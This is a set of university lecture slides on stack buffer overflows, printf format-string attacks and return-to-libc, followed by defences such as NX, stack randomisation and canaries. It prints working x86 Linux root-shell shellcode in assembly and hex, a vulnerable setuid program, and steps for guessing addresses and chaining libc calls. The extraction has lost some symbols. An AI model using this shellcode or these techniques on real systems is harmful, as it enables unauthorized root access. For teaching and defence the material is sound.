Title: Stack Smashing, printf, returntolibc
1Stack Smashing, printf, return-to-libc
- Francis Chang ltfrancis_at_cs.pdx.edugt
- Systems Networking Lab
- Portland State University
2Up Until now
Any questions/comments about previous material /
midterm?
3Process Address Space
4Process Address Space
What were interested in in this talk
5Stack Frame
void function(int a, int b) printf( hello
) return void main() function(1,2) //
? What happens here?
6Stack Frame
Stack grows high to low
Higher memory address
size of a word (e.g. 4 bytes)
Function parameters
SFP 8
Return address
addresses
Old base pointer (Saved Frame Pointer)
SFP
Local variables
Lower memory address
7Stack Frame
size of a word (e.g. 4 bytes)
Stack grows high to low
Higher memory address
a
b
SFP 8
Return address
addresses
Old base pointer (Saved Frame Pointer)
SFP
Local variables.
Lower memory address
SP
Calling void function(int a, int b)
8Simple program
size of a word (e.g. 4 bytes)
Stack grows high to low
void function() int x 0 char buffer8
memcpy(buffer,abcdefg,8) printf( s d,
buffer, x ) Output ...
.
Return address
Old base pointer (Saved Frame Pointer)
int x
Buffer4..Buffer7
Buffer0..Buffer3
9Simple program
size of a word (e.g. 4 bytes)
Stack grows high to low
void function() int x 0 char buffer8
memcpy(buffer,abcdefg,8) printf( s d,
buffer, x ) Output abcdefg 0
.
Return address
Old base pointer (Saved Frame Pointer)
int x 0x00000000
buffer4..7 efg
buffer0..3 abcd
10Simple program2
size of a word (e.g. 4 bytes)
Stack grows high to low
void function() int x 0 char buffer8
memcopy(buffer, abcdefghijk,12)
printf( s d, buffer, x ) Output ...
.
Return address
Old base pointer (Saved Frame Pointer)
int x
Buffer4..Buffer7
Buffer0..Buffer3
11Simple program2
size of a word (e.g. 4 bytes)
Stack grows high to low
void function() int x 0 char buffer8
memcopy(buffer, abcdefghijk,12)
printf( s d, buffer, x ) Output
abcdefghijkl 7039593
.
Return address
Old base pointer (Saved Frame Pointer)
int x 0x006b6a69
buffer4..7 efgh
buffer0..3 abcd
12Buffer Overflow
size of a word (e.g. 4 bytes)
Stack grows high to low
The idea of a buffer overflow Trick the program
into overwriting its buffer
a
b
Return address
Old base pointer (Saved Frame Pointer)
Buffer4..Buffer7
Buffer0..Buffer3
13Buffer Overflow
size of a word (e.g. 4 bytes)
Stack grows high to low
So now that weve messed up the programs memory,
what can we do? 1st We have a bunch of
memory we can control. We can insert malicious
code. But. How to execute that code? Must
change instruction pointer (IP).
a
a
b
Return address
Old base pointer (Saved Frame Pointer)
Buffer4..Buffer7
Buffer0..Buffer3
14Buffer Overflow
size of a word (e.g. 4 bytes)
Stack grows high to low
void function(int a, int b) char
buffer8 return Return statement - Clean
off the functions stack frame - Jump to return
address Can use this to set the
instruction pointer!
a
a
b
New Return addr
Old base pointer (Saved Frame Pointer)
Buffer4..Buffer7
Buffer0..Buffer3
15Buffer Overflow
Stack grows high to low
- The anatomy of a buffer overflow
- We can inject malicious code
- We can set the IP
- So, put malicious code in the buffer,
- Set the return address to point to the
- shell code!
a
New Return addr
Shell Code
Shell Code
Shell Code
16Buffer Overflow
Stack grows high to low
Reality Check Looks great in theory, but not in
practice We dont know where the buffer is, so
we dont really know where the nor were the
return address is We can approximate!
a
New Return addr
Shell Code
Shell Code
Shell Code
17New Diagram
Stack grows high to low
Buffer0..256
stuff
Return addr
stuff
Stack Frame
More abstract (but more correct) picture These
are the components were interested in
18Buffer Overflow
Stack grows high to low
Buffer0..256
stuff
Return addr
stuff
Buffer Overflow (Injected Data)
So the data we overwrite starts from here
19Buffer Overflow (Idealized)
Stack grows high to low
Buffer0..256
stuff
Return addr
stuff
Shell Code
New Addr
Ideally, this is what a buffer overflow attack
looks like
20Buffer Overflow (reality)
Stack grows high to low
Buffer0..256
stuff
Return addr
stuff
Shell Code
New Addr
Reality 1 We dont know where the Return
address is. What do we do?
21Buffer Overflow (Addr Spam)
Stack grows high to low
Buffer0..256
stuff
Return addr
stuff
Shell Code
New Addr
New Addr
New Addr
New Addr
Solution Spam the new address we want to
overwrite the return address. So it will
overwrite the return address
22Buffer Overflow (Reality)
Stack grows high to low
Buffer0..256
stuff
Return addr
stuff
Shell Code
New Addr
New Addr
New Addr
New Addr
Problem 2 We dont know where the shell code
starts. (Addresses are absolute, not relative)
23Quick Peek at the shellcode
This is real shellcode that works, (more detail
later) The problem is, we only have idea where
it will end up in memory. So, where to put the
instruction pointer?
xor eax, eax mov al, 70
xor ebx, ebx xor ecx, ecx int
0x80 jmp short two one pop
ebx xor eax, eax mov
ebx7, al mov ebx8, ebx mov
ebx12, eax mov al, 11 lea ecx,
ebx8 lea edx, ebx12 int 0x80
two call one db
'/bin/shXAAAABBBB'
Shell Code
24Quick Peek at the shellcode
This is real shellcode that works, (more detail
later) The problem is, we only have idea where
it will end up in memory. So, where to put the
instruction pointer?
xor eax, eax mov al, 70
xor ebx, ebx xor ecx, ecx int
0x80 jmp short two one pop
ebx xor eax, eax mov
ebx7, al mov ebx8, ebx mov
ebx12, eax mov al, 11 lea ecx,
ebx8 lea edx, ebx12 int 0x80
two call one db
'/bin/shXAAAABBBB'
25The NOP Sled
What happens with a mis-set instruction
pointer? Well, the shellcode doesnt work
xor eax, eax mov al, 70
xor ebx, ebx xor ecx, ecx int
0x80 jmp short two one pop
ebx xor eax, eax mov
ebx7, al mov ebx8, ebx mov
ebx12, eax mov al, 11 lea ecx,
ebx8 lea edx, ebx12 int 0x80
two call one db
'/bin/shXAAAABBBB'
26The NOP Sled
NOP NOP NOP NOP NOP NOP NOP NOP NOP
NOP NOP NOP NOP NOP NOP NOP
New idea NOP Sled NOP Assembly instruction
(No Operation) What a NOP instruction
does Advance instruction pointer by one, and do
nothing else. So, if we create a lot of them.
xor eax, eax mov al, 70
xor ebx, ebx xor ecx, ecx int
0x80 jmp short two one pop
ebx xor eax, eax mov
ebx7, al mov ebx8, ebx mov
ebx12, eax mov al, 11 lea ecx,
ebx8 lea edx, ebx12 int 0x80
two call one db
'/bin/shXAAAABBBB'
27Buffer Overflow (Reality)
Stack grows high to low
Buffer0..256
stuff
Return addr
stuff
Shell Code
New Addr
New Addr
New Addr
New Addr
NOP Sled
The anatomy of a real buffer overflow attack
Now with NOP Sled!
28Motivation
- Stepping back
- Motivation for our buffer overflow
- Were bad
- We have a unix account
- We want super-user access
- So, we find a setuid program
- Trick it into giving us a root shell
29Motivation
Step 1 Locate a SETUID program with a stack
buffer thats vulnerable to overflow. (ie.
Search for things that use strcpy )
30Sample Victim Program
- int main( char argc, char argv )
- char buffer500
- strcpy( buffer, argv1 )
- return 0
-
- strcpy expects a null-terminated string
- Roughly 500 bytes of memory we fit out shell code
to
31Writing shellcode
- Lets discuss how to write some x86 shellcode for
Linux - First, a primer on x86 assembly
32Registers
- For our purposes
- Four 32-bit general purpose registers
- eax, ebx, ecx, edx
- al is a register to mean the lower 8 bits of
eax - Stack Pointer
- esp
- Fun fact
- Once upon a time, only x86 was a 16-bit CPU
- So, when they upgraded x86 to 32-bits...
- Added an e in front of every register and
called it extended
33x86 Assembly
- mov ltdestgt, ltsrcgt
- Move the value from ltsrcgt into ltdestgt
- Used to set initial values
- add ltdestgt, ltsrcgt
- Add the value from ltsrcgt to ltdestgt
- sub ltdestgt, ltsrcgt
- Subtract the value from ltsrcgt from ltdestgt
34x86 Assembly
push lttargetgt Push the value in lttargetgt onto
the stack Also decrements the stack pointer,
ESP (remember stack grows from high to low) pop
lttargetgt Pops the value from the top of the
stack, put it in lttargetgt Also increments the
stack pointer, ESP
35x86 Assembly
jmp ltaddressgt Jump to an instruction (like
goto) Change the EIP to ltaddressgt Call
ltaddressgt A function call. Pushes the current
EIP 1 (next instruction) onto the stack, and
jumps to ltaddressgt
36x86 Assembly
lea ltdestgt, ltsrcgt Load Effective Address of
ltsrcgt into register ltdestgt. Used to load data in
memory into a register int ltvaluegt interupt
hardware signal to operating system kernel, with
flag ltvaluegt int 0x80 means Linux system call
37Goals of Shellcode
- Goal Spawn a root shell (/bin/sh)
- It needs to
- setreuid( 0, 0 ) // real UID, effective UID
- execve( /bin/sh, args, env )
- For simplicity, args points to /bin/sh, NULL
and env points to NULL, which is an empty array
38Interupt convention
int 0x80 System call interupt eax System
call number (eg. 1-exit, 2-fork, 3-read,
4-write) ebx argument 1 ecx argument 2 edx
argument 3
39Shellcode Attempt 1
1st part section .data section
declaration filepath db
"/bin/shXAAAABBBB" the string section
.text section declaration global _start
Default entry point for ELF linking _start
setreuid(uid_t ruid, uid_t euid) mov eax, 70
put 70 into eax, since setreuid is syscall
70 mov ebx, 0 put 0 into ebx, to set
real uid to root mov ecx, 0 put 0 into
ecx, to set effective uid to root int 0x80
Call the kernel to make the system call
happen
40Shellcode Attempt 1
2nd part // filepath db
"/bin/shXAAAABBBB" the string
execve(const char filename, char const argv ,
char const envp) mov eax, 0 put 0
into eax mov ebx, filepath put the address of
the string into ebx mov ebx7, al put the
0 from eax where the X is in the string
( 7 bytes offset from the beginning)
mov ebx8, ebx put the address of the
string from ebx where the
AAAA is in the string ( 8 bytes offset) mov
ebx12, eax put the a NULL address (4 bytes
of 0) where the BBBB is in
the string ( 12 bytes offset) mov eax, 11
Now put 11 into eax, since execve is syscall
11 lea ecx, ebx8 Load the address of
where the AAAA was in the
string into ecx lea edx, ebx12 Load the
address of where the BBBB is in the
string into edx int 0x80
Call the kernel to make the system call happen
41Shellcode problem 1
It uses two segments a data segment to store
/bin/sh filepath db "/bin/shXAAAABBBB mov
ebx, filepath put the address of the string
into ebx Not cool. We dont know where this
code is going to be relocated. Cant use a
pointer in our buffer overflow!
42Shellcode Trick 1
Observation 1) The call instruction pushes
the current instruction pointer onto the
stack. 2) The call and jmp instructions can
take arguments relative to the current
instruction pointer We can use this to get the
of where our data is!
43Shellcode Trick 1
Outline of trick jmp two one pop
ebx program code goes here two call one db
this is a string
44Shellcode Attempt 2
1st part setreuid(uid_t ruid, uid_t euid)
mov eax, 70 put 70 into eax, since
setreuid is syscall 70 mov ebx, 0 put
0 into ebx, to set real uid to root mov ecx, 0
put 0 into ecx, to set effective uid to
root int 0x80 Call the kernel to
make the system call happen jmp short two
Jump down to the bottom for the call
trick one pop ebx pop the "return
address" from the stack to
put the address of the string into ebx stuff
here two call one Use a call to
get back to the top and get the db
'/bin/shXAAAABBBB' address of this string
45Shellcode Attempt 2
2nd part // the pointer to /bin/shXAAAABBBB
already in ebx execve(const char filename,
char const argv , char const envp) mov
eax, 0 put 0 into eax mov ebx7, al
put the 0 from eax where the X is in the
string ( 7 bytes offset
from the beginning) mov ebx8, ebx put the
address of the string from ebx where the
AAAA is in the string ( 8 bytes
offset) mov ebx12, eax put a NULL address
(4 bytes of 0) where the
BBBB is in the string ( 12 bytes offset) mov
eax, 11 Now put 11 into eax, since execve
is syscall 11 lea ecx, ebx8 Load the
address of where the AAAA was in the string
into ecx lea edx, ebx12
Load the address of where the BBBB was in the
string into edx int 0x80
Call the kernel to make the system call
happen
46Shellcode Problem 2
Looks like we have a working shellcode now! But
remember how were inserting it? strcpy(
buffer, argv1 ) NULL terminated
string. Lets look at the assembled shell code.
47Shellcode Problem 2
La Voila! Shellcode! b846 0000 0066 bb00 0000
0066 b900 0000 00cd 80eb 2866 5b66 b800 0000 0067
8843 0766 6789 5b08 6667 8943 0c66 b80b 0000 0066
678d 4b08 6667 8d53 0ccd 80e8 d5ff 2f62 696e 2f73
6858 4141 4141 4242 4242 But all the
nulls! Where do all these nulls come from?
48Shellcode Trick 2a
Loading up all the zeros in the registers for
various reasons mov eax, 0 -gt Causes 32-bits
of 0s to be written into our shellcode
49Shellcode Trick 2a
Idea! XOR of anything with itself gives us
zero mov ebx, 0 -gt xor ebx, ebx mov ecx, 0 -gt
xor ecx, ecx mov eax, 0 -gt xor eax, eax 12
nulls removed! As a nice side-benefit, its 9
bytes shorter too! But still, some remaining
nulls
50Shellcode Trick 2b
Where do the other nulls come from? Must load eax
registers with the syscall numbers (setreuid
70, execve 11) mov eax, 70 mov eax,
0x00000046 Idea Set eax to zero with the last
trick, and then overwrite the low-order byte xor
eax, eax mov al, 70
51Final Shellcode
1st part setreuid(uid_t ruid, uid_t euid)
xor eax, eax first eax must be 0 for the
next instruction mov al, 70 put 70
into eax, since setreuid is syscall 70 xor
ebx, ebx put 0 into ebx, to set real uid
to root xor ecx, ecx put 0 into ecx, to
set effective uid to root int 0x80
Call the kernel to make the system call happen
jmp short two Jump down to the bottom for
the call trick one pop ebx pop the
"return address" from the stack
to put the address of the string into
ebx stuff here two call one Use
a call to get back to the top and get the db
'/bin/shXAAAABBBB' address of this string
52Final Shellcode
2nd part execve(const char filename, char
const argv , char const envp) xor eax,
eax put 0 into eax mov ebx7, al
put the 0 from eax where the X is in the string
( 7 bytes offset from the
beginning) mov ebx8, ebx put the address
of the string from ebx where the
AAAA is in the string ( 8 bytes offset)
mov ebx12, eax put the a NULL address (4
bytes of 0) where the BBBB
is in the string ( 12 bytes offset) mov al, 11
Now put 11 into eax, since execve is
syscall 11 lea ecx, ebx8 Load the
address of where the AAAA was in the string
into ecx lea edx, ebx12
Load the address of where the BBBB was in the
string into edx int 0x80
Call the kernel to make the system call
happen
53Final Shellcode
Assembled 31c0 b046 31db 31c9 cd80 eb16 5b31
c088 4307 895b 0889 430c b00b 8d4b 088d 530c cd80
e8e5 ffff ff2f 6269 6e2f 7368 5841 4141 4142 4242
42 55 bytes! /bin/shXAAAABBBB can be shortened to
/bin/sh 46 bytes!
54Other things we could do..
- More tricks to shorten assembly
- Push /bin/sh onto the stack as immediate
values, instead of using the call trick. - Shave off bytes, because not all instructions are
the same size. Eg. - xor eax, eax -gt push byte 70
- mov al, 70 -gt pop eax
- 4 bytes 3 bytes
55Other things we could do..
- More innocuous looking code
- Construct an attack out of only ascii characters
- Polymorphic code
- XOR encrypting
- Tools such as ADMutate
- The result of that.
- JONE501TX-3399-Purr-!TTTP\JONE501-tKK4-gXn-
uPyP- - 8Jxn-8sxP-dddd-777j-JdbyP-UuU-pp6A-AtRP-wwww-OO
33-s9D - VP-rO-wDee-yDmuP-CCCC-0w-42e6P-H8z8-Y8q8P-jj4j
-d9L- - 2658PPPPPPPPPPPPPPPP
56Other things we could do..
Stack grows high to low
Buffer0..256
stuff
Return addr
stuff
Shell Code
New Addr
New Addr
New Addr
New Addr
NOP Sled
Shell code has to fit between the buffer and the
return address. What if the buffer is too small
to fit shell code? Another trick Stick the shell
code in an environment variable.
57Armed with shellcode now
Now that we have the shellcode, lets revisit the
original problem
Stack grows high to low
Buffer0..256
stuff
Return addr
stuff
Shell Code
New Addr
New Addr
New Addr
New Addr
NOP Sled
We have all the components.. Except How to set
the new instruction pointer to poke at our NOP
sled?
58Insertion address
How to find the insertion address? Well.. we
guess. int main( char argc, char argv )
char buffer500 strcpy( buffer, argv1 )
return 0
59Insertion address 1
Guessing technique 1 GDB to find the stack
pointer! gdb sample (gdb) break
main Breakpoint 1 at 0x8048365 (gdb) run Starting
program sample Breakpoint 1, 0x08048365 in main
() (gdb) p esp 1 (void ) 0xbffff220 buffer
probably near the stack top at this point
int main( char argc, char argv ) char
buffer500 strcpy( buffer, argv1 )
return 0
60Insertion address 2
Guessing technique 2 If compiled with debug
mode can pull off the address gdb sample (gdb)
break main Breakpoint 1 at 0x804836f (gdb)
run Starting program sample Breakpoint 1, main
(argc0x1 ltAddress 0x1 out of boundsgt,
argv0xbffffa84)at sample.c5 5 strcpy( buffer,
argv1 ) (gdb) p buffer 1 (char ()500)
0xbffff220
int main( char argc, char argv ) char
buffer500 strcpy( buffer, argv1 )
return 0
61Insertion address 3
Guessing technique 4 Add some debug statements,
hope that doesnt change the address
much ./sample 0xbffff220
int main( char argc, char argv ) char
buffer500 printf( d\n, buffer )
strcpy( buffer, argv1 ) return 0
62Things to keep in mind
- Stack addresses bump around a little for no
reason, depending on execution contexts.
Randomize up and down by a few hundred bytes and
cross your fingers - Intel x86 is little-endian. Least significant
bytes come first. - 1234567890 0x499602D2 -gt D2 02 96 49
- Shell code must start on a 4-byte boundary
(Luckily, buffer start will be buffer aligned)
63Number of exploits
Some stats for you 2002 22.5 of security
fixes provided by vendors were for buffer
overflows 2004 All available exploits 75
were buffer overflows So removing buffer
overflows important! 75 of exploits for stack
smashes!
64Defending stack smashes 1
So, how can we defend against stack smash
attacks? Stop writing bad code! int main( char
argc, char argv ) char buffer500
strcpy( buffer, argv1 ) return 0 Bad
code heuristic grep .c strcpy
65Defending stack smashes 2
Hardware support. In x86 theres been no way to
mark pages as containing executable code or not.
(For compatibility) This is why buffer overflows
(and many other exploits) exist. NX technology
No-eXecute bits to mark memory pages. (new, few
months ago)
66Defending stack smashes 2
NX bit caveats - Additional bookkeeping
information required - Only works in PAE 64-bit
pagetable format (Physical Address Extension
mode) (PAE is for machines to use more than
4GB of physical memory) - Apporximately 6
overhead on system performance - Redhat only
uses it on SMP and hugemem kernels (not
uniprocessor)
67Defending stack smashes 3
Randomized stack pointer. Most OSs used to have
pretty deterministic behaviour. Intentionally
randomizing stack pointer makes it harder to
guess your insertion point. MDK 10 No
randomization Redhat 8 16KB of randomization
(rooster!) Fedora Core 3 16MB of randomization
68Defending stack smashes 3
Execshield for Linux - randomizes the stack -
location of shared libraries - start of program
heap PIE Position Independent Executables -
GNU Compiler extension for ELF executables -
Allows binaries to be locatable anywhere in the
address space - (Used in conjunction with
execshield)
69Defending stack smashes 4
Segment limit approach - Approximates the
no-execute bit - An option for PaX and
ExecShield - Plays tricks with segment
registers - 1st N megabytes of memory marked as
non-executable
70Defending stack smashes 4
Executable
Non- Executable
71Defending stack smashes 5
Stack grows high to low
Compiler extensions a la stackguard - Inserts a
canary value into the stack - Checks that canary
is intact before returning from a function call
- Canary is randomized every time program is run
- Contains a NULL byte to prevent buffer overruns
past the return address
Fn args
Return address
Canary Value
Old base pointer (Saved Frame Pointer)
Local Variables
72What if?
What if the stack grew from low addresses to high
addresses? Wouldnt this eliminate buffer
overflow addresses, since we couldnt write over
the return address? Well. No. If you think about
strcpy(), theres a return address on both sides
of the buffer. int main( char argc, char
argv ) char buffer500 strcpy(
buffer, argv1 ) return 0 Nobody seems
to know why we grow buffers from high addresses
to low addresses.
73Printf hacks
74Printf hacks
printf C formatted output function Relatives
sprintf, fprintf, saprintf, snprintf, vsprintf,
vprintf, vfprintf, etc.. int x 42 printf(
The value of X is, d.\n, x ) gtgt The value of
X is 42. Valuable observation Mixes control
codes and data! Whee, room for malware!
75Our printf victim
Naïve program int main( int argc, char argv
) printf( argv1 ) return 0 Unvalidated
input! Time to stick in some malware!
76printfs stack
size of a word (e.g. 4 bytes)
Stack grows high to low
printf argument 2
printf argument 1
Pointer to format string
printf( d d, arg1, arg2 )
Return address
old base pointer
local variables
77Reading memory with printf
Stack grows high to low
Format specifier .8x Print unsigned
int Can use this simple formatting to read off
the values on the stack int main(int argc, char
argv) printf( argv1 ) return 0
./printf .8x..8x..8x.8x.8x..8x..8x.8x..8x
..8x.8x..8x 61009d63.610097c0.00000000.0022ff4
0.61007549.00000002.615a06f4.0a010288.0022ff24.000
00000.00000000.00000003
printf argument 2
printf argument 1
Pointer to format string
Return address
old base pointer
local variables
78printf parameter access
Little-known printf format specifier Can choose
which parameter you reference! printf(5d
2d, 10, 20, 30, 40, 50, 60, 70, 80, 90) gtgt
50 20 So now we can access any parameter down
the stack!
79Feeding yourself addresses
s format specifier String format -gt Takes an
address, and prints it out char
pointer_to_string hello printf( s,
pointer_to_string ) gtgt hello What can we do
with this?
80Feeding yourself addresses
Looking at our victim code. int main( int argc,
char argv ) printf( argv1 ) return
0 So we can feed in values in our format
string since its on the stack. What does this
mean? We can now read from arbitrary addresses
with s!
81Writing memory
Another Little-known printf format specifier Can
write values with n (number of characters
written so far) printf(hellon,
my_int) printf(d, my_int) gtgt hello5 So we
can write small values into memory! (limited by
length of our formatted output) Using the trick
of feeding ourselves addresses, we can write
anywhere in memory now!
82Writing large numbers
But what if we want to write large numbers? Like
POINTERS. Multiple, staggered writes, 1 byte at
a time. Suppose we can write values 0-255 with no
problem. 32-bit value 0x?? -gt Little endian
memory ?? 00 00 00 Eg. 32-bit value 0x1A -gt
Little endian memory 1A 00 00 00 Break it up
into 4 1-byte writes.
83Writing large numbers
Example Suppose we want to write 0xAABBCCDD into
memory address 0x10000000. Memory XX XX XX XX
Address First Write AA 00 00 00
0x10000000 Second Write BB 00 00 00
0x10000001 Third Write CC 00 00 00
0x10000002 Fourth Write DD 00 00 00
0x10000003 Result AA BB CC DD
84Whats handy about printf
- Can get around all the no-execute flags on
memory, since theres no execution code - Can
read and write anywhere we want to from
memory Another trick in our handy arsenal of
hacker weapons But how to use this in getting
us a shell? .. More in a bit..
85Printf Protection
Good programming practice Dont ever do
printf( my_variable ) Use printf( s,
my_variable ) Format Guard - Special
compiler - encodes parameters at compile time -
Cant change the format at runtime - Can have
trouble with localized binaries, which have
dynamically changing strings
86Return to libc
Idea - We (the attacker) can manipulate the
stack. - The system may be clever, and not allow
us to execute code on the stack. - So Lets
exploit existing code, called with our arguments
- libc is an attractive target, because it has
very powerful functions, and is linked to by
almost everything (libc is the standard C
library)
87Return to libc
How do we jump to libc code? - Same as any
buffer overflow exploit overwrite a return
address on the stack. How do we figure out where
to jump to? - A libc function is always in the
same place on a single system. Can figure out
where it is by writing a simple test program, or
using gdb.
88Return to libc
Stack grows high to low
Function address
Function return addr
Arg1
Arg2
Arg3
libc functions are called just like any other
function - push arguments on the stack - push
your return address onto the stack - call the
function Since were exploiting a buffer
overflow, this will appear on our stack
89Spawning a shell system()
Stack grows high to low
system() address
return addr
pntr to string
/bin/sh
Suppose we want to call system(/bin/sh) to drop
our shell. It might look like this Since were
exploiting a buffer overflow, this will appear on
our stack (return addr is not important)
90Spawning a shell system()
Stack grows high to low
system() address
return addr
pntr to string
/bin/sh
This drops a shell, but not a root shell. Why?
Have to setuid(0,0) self! Otherwise system() will
drop our priveleges. What to do?
91Chaining return to libc calls
Stack grows high to low
setuid() address
system() addr
setuid() arguments
system() arguments
Need to call setuid(0,0) and then
system(/bin/sh). Idea Set the return address
for when we call setuid() so when setuid()
returns, it jumps to system(). Clever!
92Chaining setuid() system()
Still one tragic flaw (hamartia) - setuid(0,0)
has null bytes. We cant write nulls if were
doing a buffer overflow exploit. What else can
we do? - Observation execl(/bin/sh,
/bin/sh, 0 ) can spawn root shell, without
dropping out privileges. - But it still has
the writing a null byte problem
93Printf to the rescue
Recall - If we have access to the buffer, we
can use printf to read and write arbitrary data
to arbitrary addresses. - Idea Use printf() to
write the nulls we need for us! - So Chain
printf() and execl()
94Chaining return to libc calls
Stack grows high to low
printf() address
execl() addr
printf() arguments
execl() arguments
- Printf() executes and constructs the arguments we
need for execl(). - Printf() completes, and returns to execl() which
now has proper arguments for spawning /bin/sh - We get our root shell.
- Victory dance!
95Defending return-to-libc
Problems - Especially brittle if were not sure
where we are in memory Defences - Randomizing
pointers will help - Canary values prevent
buffer overflows - Eliminate strcpys
96References
Hacking the Art of Exploitation by Jon
Erickson New Security Enhancements in Red Hat
Enterprise Linux v.3, update 3 By Arjan de Ven